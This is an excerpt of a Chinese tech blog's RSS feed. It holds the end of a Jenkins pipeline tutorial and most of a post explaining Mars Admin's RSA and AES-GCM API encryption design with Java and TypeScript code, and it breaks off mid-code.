class="hljs-symbol">body:</span> <span class="hljs-string">&quot;Build failed. Check console output at $&#123;env.BUILD_URL&#125;&quot;</span><br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3）配置-Docker-代理"><a href="#3）配置-Docker-代理" class="headerlink" title="3）配置 Docker 代理"></a>3）配置 Docker 代理</h3><p>在”系统管理” → “Manage Nodes and Clouds” → “Configure System”：</p><ul><li>添加 Docker 云配置</li><li>设置 Docker host URI：<code>unix:///var/run/docker.sock</code></li><li>配置 Docker 镜像模板</li></ul><hr><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><p>编辑Jenkinsfile，实现自动拉取代码-&gt;打包-&gt;构建镜像-&gt;推送镜像仓库</p><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><code class="hljs groovy">pipeline &#123;<br>    agent any<br><br>    tools &#123;<br>        maven <span class="hljs-string">&#x27;Maven 3.9.5&#x27;</span><br>        jdk <span class="hljs-string">&#x27;JDK 21&#x27;</span><br>    &#125;<br><br>    environment &#123;<br>        MAVEN_OPTS = <span class="hljs-string">&#x27;-Xmx1024m&#x27;</span><br>        APP_NAME = <span class="hljs-string">&#x27;jenkins&#x27;</span><br>        APP_VERSION = <span class="hljs-string">&#x27;0.0.1-SNAPSHOT&#x27;</span><br>        REGISTRY = <span class="hljs-string">&#x27;crpi-rd6sb3k81gnpszt1.cn-hangzhou.personal.cr.aliyuncs.com&#x27;</span><br>        REGISTRY_NAMESPACE = <span class="hljs-string">&#x27;nie_jenkins&#x27;</span><br>        IMAGE_REPO = <span class="hljs-string">&quot;$&#123;REGISTRY&#125;/$&#123;REGISTRY_NAMESPACE&#125;/$&#123;APP_NAME&#125;&quot;</span><br>    &#125;<br><br><br><br>    options &#123;<br>        buildDiscarder(logRotator(<span class="hljs-attr">numToKeepStr:</span> <span class="hljs-string">&#x27;10&#x27;</span>))<br>        timestamps()<br>        timeout(<span class="hljs-attr">time:</span> <span class="hljs-number">30</span>, <span class="hljs-attr">unit:</span> <span class="hljs-string">&#x27;MINUTES&#x27;</span>)<br>    &#125;<br><br>    stages &#123;<br>        stage(<span class="hljs-string">&#x27;Checkout&#x27;</span>) &#123;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;Checking out code...&#x27;</span><br>                git(<br>                    <span class="hljs-symbol">branch:</span> <span class="hljs-string">&#x27;master&#x27;</span>,<br>                    <span class="hljs-symbol">url:</span> <span class="hljs-string">&#x27;https://gitee.com/niezidong/jenkins_test.git&#x27;</span><br>                )<br>            &#125;<br>        &#125;<br><br>        stage(<span class="hljs-string">&#x27;Build Jar&#x27;</span>) &#123;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;Building application jar...&#x27;</span><br>                sh <span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">                    chmod +x mvnw</span><br><span class="hljs-string">                    ./mvnw clean package -DskipTests</span><br><span class="hljs-string">                &#x27;&#x27;&#x27;</span><br>                archiveArtifacts <span class="hljs-attr">artifacts:</span> <span class="hljs-string">&#x27;target/*.jar&#x27;</span>, <span class="hljs-attr">fingerprint:</span> <span class="hljs-literal">true</span><br>            &#125;<br>        &#125;<br><br>        stage(<span class="hljs-string">&#x27;Build Docker Image&#x27;</span>) &#123;<br>            steps &#123;<br>                script &#123;<br>                    env.IMAGE_TAG = <span class="hljs-string">&quot;$&#123;BUILD_NUMBER&#125;&quot;</span><br>                    env.IMAGE_FULL_NAME = <span class="hljs-string">&quot;$&#123;IMAGE_REPO&#125;:$&#123;IMAGE_TAG&#125;&quot;</span><br>                &#125;<br>                sh <span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">                    docker build \</span><br><span class="hljs-string">                      --build-arg JAR_FILE=target/$&#123;APP_NAME&#125;-$&#123;APP_VERSION&#125;.jar \</span><br><span class="hljs-string">                      -t $&#123;IMAGE_FULL_NAME&#125; \</span><br><span class="hljs-string">                      -t $&#123;IMAGE_REPO&#125;:latest \</span><br><span class="hljs-string">                      .</span><br><span class="hljs-string">                &#x27;&#x27;&#x27;</span><br>            &#125;<br>        &#125;<br><br>        stage(<span class="hljs-string">&#x27;Push Docker Image&#x27;</span>) &#123;<br>            steps &#123;<br>                sh <span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">                    echo &quot;Pushing image: $&#123;IMAGE_FULL_NAME&#125;&quot;</span><br><span class="hljs-string">                    docker push $&#123;IMAGE_FULL_NAME&#125;</span><br><span class="hljs-string">                    docker push $&#123;IMAGE_REPO&#125;:latest</span><br><span class="hljs-string">                &#x27;&#x27;&#x27;</span><br><br>            &#125;<br>        &#125;<br><br>    &#125;<br><br>    post &#123;<br>        always &#123;<br>            cleanWs()<br>        &#125;<br>        success &#123;<br>            echo <span class="hljs-string">&#x27;Pipeline completed successfully.&#x27;</span><br>        &#125;<br>        failure &#123;<br>            echo <span class="hljs-string">&#x27;Pipeline failed.&#x27;</span><br>        &#125;<br>    &#125;<br>&#125;<br><br></code></pre></td></tr></table></figure><hr><h2 id="性能优化建议"><a href="#性能优化建议" class="headerlink" title="性能优化建议"></a>性能优化建议</h2><ol><li><strong>增加执行器数量</strong>：根据硬件配置在系统配置中增加执行器</li><li><strong>使用 Pipeline 缓存</strong>：减少重复下载依赖</li><li><strong>配置构建队列优先级</strong>：重要任务优先执行</li><li><strong>定期清理旧构建</strong>：使用 <code>logRotator</code> 自动删除过期构建</li><li><strong>使用共享库</strong>：在多个 Pipeline 间复用代码</li></ol><hr><h2 id="参考资源"><a href="#参考资源" class="headerlink" title="参考资源"></a>参考资源</h2><ul><li><a href="https://www.jenkins.io/doc/">Jenkins 官方文档</a></li><li><a href="https://www.jenkins.io/doc/book/pipeline/">Jenkins Pipeline 官方文档</a></li><li><a href="https://plugins.jenkins.io/">Jenkins 插件市场</a></li><li><a href="https://hub.docker.com/r/jenkins/jenkins">Docker Hub - Jenkins 镜像</a></li></ul><hr><p><strong>更新日期</strong>：2026-03-20</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Mars Admin 接口加密功能学习文档</title>
      <link>https://blog.newpon.top/2026/02/16/%E6%8E%A5%E5%8F%A3%E5%8A%A0%E5%AF%86%E8%AE%BE%E8%AE%A1/</link>
      <description>深入解析 Mars Admin 的接口安全设计，采用 RSA + AES-GCM 混合加密方案，实现前端请求加密、后端解密与敏感响应数据加密的完整闭环。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Spring-Boot/">Spring Boot</category>
      <category domain="https://blog.newpon.top/tags/%E5%90%8E%E7%AB%AF/">后端</category>
      <category domain="https://blog.newpon.top/tags/%E5%8A%A0%E5%AF%86/">加密</category>
      <category domain="https://blog.newpon.top/tags/RSA/">RSA</category>
      <category domain="https://blog.newpon.top/tags/AES/">AES</category>
      <pubDate>Mon, 16 Feb 2026 02:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="整体设计思路"><a href="#整体设计思路" class="headerlink" title="整体设计思路"></a>整体设计思路</h1><p>Mars Admin 的接口加密采用 <strong>RSA + AES-GCM 混合加密</strong> 方案，形成”前端获取配置 → 请求加密 → 后端解密 → 后端加密响应 → 前端解密”的完整闭环。</p><p><strong>为什么用混合加密？</strong></p><ul><li><strong>RSA（非对称加密）</strong>：安全性高，但加密大数据速度慢，适合加密少量数据（如密码字段、AES 密钥）</li><li><strong>AES-GCM（对称加密）</strong>：速度快，适合加密大量响应数据，且 GCM 模式自带完整性校验</li></ul><p><strong>两种加密范围：</strong></p><ul><li><strong>全局加密</strong>（<code>encryptScope = &quot;global&quot;</code>）：除白名单路径外，所有接口响应自动加密</li><li><strong>局部加密</strong>（<code>encryptScope = &quot;partial&quot;</code>）：仅对标注 <code>@EncryptResponse</code> 注解的接口加密</li></ul><hr><h2 id="核心文件一览"><a href="#核心文件一览" class="headerlink" title="核心文件一览"></a>核心文件一览</h2><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs nix">mars-admin<br>├── mars-common<span class="hljs-symbol">/</span><br>│   └── util<span class="hljs-symbol">/RsaUtils.java</span>                    <span class="hljs-comment"># RSA/AES 工具类（分段加密、混合加密）</span><br>├── mars-infra<span class="hljs-operator">/</span>mars-crypto<span class="hljs-symbol">/</span><br>│   ├── CryptoService.java                     <span class="hljs-comment"># 加密服务接口</span><br>│   ├── CryptoConfigProvider.java              <span class="hljs-comment"># 加密配置提供者接口（解耦用）</span><br>│   ├── DecryptRequestBodyAdvice.java          <span class="hljs-comment"># 请求解密拦截器</span><br>│   ├── EncryptResponseBodyAdvice.java         <span class="hljs-comment"># 响应加密拦截器</span><br>│   └── EncryptResponse.java                   <span class="hljs-comment"># 局部加密注解</span><br>├── mars-core<span class="hljs-operator">/</span>mars-system<span class="hljs-symbol">/</span><br>│   ├── service<span class="hljs-symbol">/impl/CryptoServiceImpl.java</span>    <span class="hljs-comment"># 加密服务实现（密钥管理 + 加解密）</span><br>│   └── helper<span class="hljs-symbol">/SystemConfigHelper.java</span>         <span class="hljs-comment"># 配置读取（实现 CryptoConfigProvider）</span><br>├── mars-api<span class="hljs-operator">/</span>mars-admin-api<span class="hljs-symbol">/</span><br>│   └── controller<span class="hljs-symbol">/auth/CryptoController.java</span>  <span class="hljs-comment"># 前端获取加密配置的接口</span><br>└── mars-ui<span class="hljs-operator">/</span>src<span class="hljs-operator">/</span>utils<span class="hljs-symbol">/</span><br>    ├── crypto.ts                               <span class="hljs-comment"># 前端 RSA 加密工具</span><br>    └── request.ts                              <span class="hljs-comment"># Axios 封装（含 AES 响应解密）</span><br></code></pre></td></tr></table></figure><hr><h2 id="加密架构分层设计"><a href="#加密架构分层设计" class="headerlink" title="加密架构分层设计"></a>加密架构分层设计</h2><p>项目通过接口解耦，避免基础设施层（<code>mars-infra</code>）直接依赖业务层（<code>mars-core</code>）：</p><figure class="highlight nestedtext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs nestedtext"><span class="hljs-attribute">┌─────────────────────────────────────────────┐</span><br><span class="hljs-attribute">│  mars-infra/mars-crypto（基础设施层）          │</span><br><span class="hljs-attribute">│  定义接口</span><span class="hljs-punctuation">:</span> <span class="hljs-string">CryptoService, CryptoConfigProvider │</span><br><span class="hljs-attribute">│  定义拦截器</span><span class="hljs-punctuation">:</span> <span class="hljs-string">DecryptRequestBodyAdvice          │</span><br><span class="hljs-attribute">│            EncryptResponseBodyAdvice           │</span><br><span class="hljs-attribute">└──────────────────┬──────────────────────────┘</span><br><span class="hljs-attribute">                   │ 依赖接口，不依赖实现</span><br><span class="hljs-attribute">┌──────────────────▼──────────────────────────┐</span><br><span class="hljs-attribute">│  mars-core/mars-system（业务核心层）           │</span><br><span class="hljs-attribute">│  实现类</span><span class="hljs-punctuation">:</span> <span class="hljs-string">CryptoServiceImpl                     │</span><br><span class="hljs-attribute">│  配置</span><span class="hljs-punctuation">:</span> <span class="hljs-string">SystemConfigHelper (impl CryptoConfig)  │</span><br>└─────────────────────────────────────────────┘<br></code></pre></td></tr></table></figure><p>关键接口说明：</p><ul><li><strong><code>CryptoService</code></strong> — 加密能力的统一入口，定义了 <code>isEnabled()</code>、<code>decrypt()</code>、<code>encryptResponse()</code> 等方法</li><li><strong><code>CryptoConfigProvider</code></strong> — 只有一个方法 <code>isGlobalEncrypt()</code>，由 <code>SystemConfigHelper</code> 实现，让拦截器能判断加密范围而不需要直接引用业务类</li></ul><hr><h2 id="密钥管理机制"><a href="#密钥管理机制" class="headerlink" title="密钥管理机制"></a>密钥管理机制</h2><h3 id="RSA-密钥对"><a href="#RSA-密钥对" class="headerlink" title="RSA 密钥对"></a>RSA 密钥对</h3><p><strong>来源</strong>：从数据库 <code>sys_config_group</code> 表的 <code>security</code> 分组读取（字段 <code>encryptPublicKey</code> &#x2F; <code>encryptPrivateKey</code>）</p><p><strong>自动生成</strong>：如果数据库中未配置密钥，启动时自动生成 2048 位 RSA 密钥对</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">// CryptoServiceImpl.java 启动时加载</span><br><span class="hljs-meta">@PostConstruct</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">init</span><span class="hljs-params">()</span> &#123;<br>    loadKeys();        <span class="hljs-comment">// 尝试从数据库加载 RSA 密钥</span><br>    generateAesKey();  <span class="hljs-comment">// 每次启动生成新的 AES 密钥</span><br>&#125;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 加载密钥</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">loadKeys</span><span class="hljs-params">()</span> &#123;<br>    <span class="hljs-keyword">try</span> &#123;<br>        <span class="hljs-type">JsonNode</span> <span class="hljs-variable">config</span> <span class="hljs-operator">=</span> getSecurityConfig();<br>        <span class="hljs-keyword">if</span> (config != <span class="hljs-literal">null</span>) &#123;<br>            publicKey = getStringValue(config, <span class="hljs-string">&quot;encryptPublicKey&quot;</span>);<br>            privateKey = getStringValue(config, <span class="hljs-string">&quot;encryptPrivateKey&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-comment">// 如果没有配置密钥，则生成新的密钥对</span><br>        <span class="hljs-keyword">if</span> (publicKey == <span class="hljs-literal">null</span> || privateKey == <span class="hljs-literal">null</span> || publicKey.isEmpty() || privateKey.isEmpty()) &#123;<br>            log.info(<span class="hljs-string">&quot;RSA密钥未配置，正在生成新密钥对...&quot;</span>);<br>            generateAndSaveKeys();<br>        &#125; <span class="hljs-keyword">else</span> &#123;<br>            log.info(<span class="hljs-string">&quot;RSA密钥加载成功&quot;</span>);<br>        &#125;<br>    &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>        log.error(<span class="hljs-string">&quot;加载RSA密钥失败&quot;</span>, e);<br>    &#125;<br>&#125;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 生成并保存密钥对</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">generateAndSaveKeys</span><span class="hljs-params">()</span> &#123;<br>    <span class="hljs-keyword">try</span> &#123;<br>        Map&lt;String, String&gt; keyPair = RsaUtils.generateKeyPair();  <span class="hljs-comment">// 2048 位</span><br>        publicKey = keyPair.get(RsaUtils.PUBLIC_KEY);<br>        privateKey = keyPair.get(RsaUtils.PRIVATE_KEY);<br>        log.info(<span class="hljs-string">&quot;RSA密钥对生成成功&quot;</span>);<br>    &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>        log.error(<span class="hljs-string">&quot;生成RSA密钥对失败&quot;</span>, e);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="AES-密钥"><a href="#AES-密钥" class="headerlink" title="AES 密钥"></a>AES 密钥</h3><p><strong>生成方式</strong>：每次服务启动时随机生成 AES-256 密钥</p><p><strong>下发方式</strong>：以 Base64 编码通过 <code>/api/crypto/config</code> 接口下发给前端（依赖 HTTPS 保护传输安全）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">// CryptoServiceImpl.java</span><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 生成AES密钥</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">generateAesKey</span><span class="hljs-params">()</span> &#123;<br>    <span class="hljs-keyword">try</span> &#123;<br>        <span class="hljs-type">KeyGenerator</span> <span class="hljs-variable">keyGen</span> <span class="hljs-operator">=</span> KeyGenerator.getInstance(AES_ALGORITHM);<br>        keyGen.init(<span class="hljs-number">256</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecureRandom</span>());<br>        aesKey = keyGen.generateKey();<br><br>        <span class="hljs-comment">// 直接返回AES密钥的Base64编码（通过HTTPS安全传输）</span><br>        encryptedAesKey = Base64.getEncoder().encodeToString(aesKey.getEncoded());<br><br>        log.info(<span class="hljs-string">&quot;AES密钥生成成功&quot;</span>);<br>    &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>        log.error(<span class="hljs-string">&quot;生成AES密钥失败&quot;</span>, e);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="前端获取加密配置"><a href="#前端获取加密配置" class="headerlink" title="前端获取加密配置"></a>前端获取加密配置</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">// CryptoController.java</span><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 获取加密配置（公钥、AES密钥和是否启用）</span><br><span class="hljs-comment"> */</span><br><span class="hljs-meta">@GetMapping(&quot;/config&quot;)</span><br><span class="hljs-keyword">public</span> Result&lt;Map&lt;String, Object&gt;&gt; <span class="hljs-title function_">getConfig</span><span class="hljs-params">()</span> &#123;<br>    Map&lt;String, Object&gt; result = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span>&lt;&gt;();<br>    result.put(<span class="hljs-string">&quot;enabled&quot;</span>, cryptoService.isEnabled());<br>    result.put(<span class="hljs-string">&quot;publicKey&quot;</span>, cryptoService.getPublicKey());<br>    result.put(<span class="hljs-string">&quot;aesKey&quot;</span>, cryptoService.getEncryptedAesKey());<br>    <span class="hljs-keyword">return</span> Result.ok(result);<br>&#125;<br></code></pre></td></tr></table></figure><blockquote><p><strong>注意</strong>：AES 密钥在服务重启后会重新生成，前端缓存的旧密钥会失效，此时前端会自动清除缓存并重新获取。</p></blockquote><hr><h2 id="请求加密流程（前端-→-后端）"><a href="#请求加密流程（前端-→-后端）" class="headerlink" title="请求加密流程（前端 → 后端）"></a>请求加密流程（前端 → 后端）</h2><h3 id="前端加密密码字段"><a href="#前端加密密码字段" class="headerlink" title="前端加密密码字段"></a>前端加密密码字段</h3><p>前端使用 <code>jsencrypt</code> 库进行 RSA 公钥加密：</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs mipsasm">用户输入密码 → 获取 RSA 公钥 → <span class="hljs-keyword">JSEncrypt </span>加密 → 发送加密后的 <span class="hljs-keyword">Base64 </span>字符串<br></code></pre></td></tr></table></figure><p>核心代码在 <code>mars-ui/src/utils/crypto.ts</code>：</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><code class="hljs typescript"><span class="hljs-keyword">import</span> <span class="hljs-title class_">JSEncrypt</span> <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;jsencrypt&#x27;</span><br><span class="hljs-keyword">import</span> &#123; fetchCryptoConfig, clearCryptoConfigCache &#125; <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;./request&#x27;</span><br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * RSA加密</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">export</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">rsaEncrypt</span>(<span class="hljs-params"><span class="hljs-attr">data</span>: <span class="hljs-built_in">string</span>, <span class="hljs-attr">publicKey</span>: <span class="hljs-built_in">string</span></span>): <span class="hljs-built_in">string</span> &#123;<br>  <span class="hljs-keyword">const</span> encrypt = <span class="hljs-keyword">new</span> <span class="hljs-title class_">JSEncrypt</span>()<br>  encrypt.<span class="hljs-title function_">setPublicKey</span>(publicKey)<br>  <span class="hljs-keyword">const</span> encrypted = encrypt.<span class="hljs-title function_">encrypt</span>(data)<br>  <span class="hljs-keyword">if</span> (!encrypted) &#123;<br>    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">&#x27;RSA加密失败&#x27;</span>)<br>  &#125;<br>  <span class="hljs-keyword">return</span> encrypted<br>&#125;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 加密密码字段</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">export</span> <span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">encryptPassword</span>(<span class="hljs-params"><span class="hljs-attr">password</span>: <span class="hljs-built_in">string</span></span>): <span class="hljs-title class_">Promise</span>&lt;<span class="hljs-built_in">string</span>&gt; &#123;<br>  <span class="hljs-keyword">const</span> config = <span class="hljs-keyword">await</span> <span class="hljs-title function_">getCryptoConfig</span>()<br>  <br>  <span class="hljs-keyword">if</span> (!config.<span class="hljs-property">enabled</span> || !config.<span class="hljs-property">publicKey</span>) &#123;<br>    <span class="hljs-keyword">return</span> password  <span class="hljs-comment">// 未启用加密，直接返回明文</span><br>  &#125;<br>  <br>  <span class="hljs-keyword">return</span> <span class="hljs-title function_">rsaEncrypt</span>(password, config.<span class="hljs-property">publicKey</span>)<br>&#125;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 加密对象中的密码字段</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">export</span> <span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> encryptPasswordFields&lt;T <span class="hljs-keyword">extends</span> <span class="hljs-title class_">Record</span>&lt;<span class="hljs-built_in">string</span>, <span class="hljs-built_in">any</span>&gt;&gt;(<br>  <span class="hljs-attr">data</span>: T,<br>  <span class="hljs-attr">fields</span>: <span class="hljs-built_in">string</span>[] = [<span class="hljs-string">&#x27;password&#x27;</span>, <span class="hljs-string">&#x27;oldPassword&#x27;</span>, <span class="hljs-string">&#x27;newPassword&#x27;</span>]<br>): <span class="hljs-title class_">Promise</span>&lt;T&gt; &#123;<br>  <span class="hljs-keyword">const</span> config = <span class="hljs-keyword">await</span> <span class="hljs-title function_">getCryptoConfig</span>()<br>  <br>  <span class="hljs-keyword">if</span> (!config.<span class="hljs-property">enabled</span> || !config.<span class="hljs-property">publicKey</span>) &#123;<br>    <span class="hljs-keyword">return</span> data<br>  &#125;<br>  <br>  <span class="hljs-keyword">const</span> result = &#123; ...data &#125;<br>  <br>  <span class="hljs-comment">// 遍历 fields，对每个存在的字符串字段进行 RSA 加密</span><br>  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> field <span class="hljs-keyword">of</span> fields) &#123;<br>    <span class="hljs-keyword">if</span> (result[field] &amp;&amp; <span class="hljs-keyword">typeof</span> result[field] === <span class="hljs-string">&#x27;string&#x27;</span>) &#123;<br>      result[field] = <span class="hljs-title function_">rsaEncrypt</span>(result[field], config.<span class="hljs-property">publicKey</span>)<br>    &#125;<br>  &#125;<br>  <br>  <span class="hljs-keyword">return</span> result<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="后端解密请求"><a href="#后端解密请求" class="headerlink" title="后端解密请求"></a>后端解密请求</h3><p><code>DecryptRequestBodyAdvice</code> 是一个 <code>@ControllerAdvice</code>，通过 Spring 的 <code>RequestBodyAdvice</code> 机制在 Controller 收到请求之前自动解密：</p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs scss">请求进入 → <span class="hljs-built_in">supports</span>() 判断是否启用 → <span class="hljs-built_in">beforeBodyRead</span>() 解密<br></code></pre></td></tr></table></figure><p><strong>核心代码</strong>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span 